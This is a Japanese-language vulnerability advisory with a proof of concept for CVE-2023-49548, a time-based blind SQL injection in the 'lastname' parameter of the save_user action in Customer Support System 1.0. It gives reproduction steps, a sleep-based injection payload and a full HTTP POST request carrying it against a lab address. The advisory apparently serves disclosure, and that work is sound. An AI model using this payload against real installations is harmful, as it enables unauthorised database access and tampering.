
Customer Support System 1.0 - "save_user" 操作中の "lastname" パラメータにおける SQLインジェクションの脆弱性
説明: Customer Support System のバージョン1には、SQLインジェクションの脆弱性が存在します。悪意のある攻撃者は、脆弱性のあるパラメータ 'lastname' を使用してユーザーを作成/編集する際に、MySQLデータベースに対してSQLコマンドを発行できます。
影響を受ける製品バージョン: Customer Support System 1.0
CVE作成者: Geraldo Alcântara
日付: 28/11/2023
確認日: 19/12/2023
CVE: CVE-2023-49548
テスト環境: Windows
1- アプリケーションにログインします。
2- 自分のユーザー画像をクリックし、「Manage Account」を選択します。
3- 「lastname」パラメータに悪意のあるペイロードを挿入します。
ペイロード: '%20and%20(select*from(select(sleep(20)))a)--%20
POST /customer_support/ajax.php?action=save_user HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://192.168.68.182
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
id=1&table=users&firstname=Administrator&middlename=teste&lastname='%20and%20(select*from(select(sleep(5)))a)--%20&username=admin&password=admin
発見者/クレジット:
Geraldo Alcântara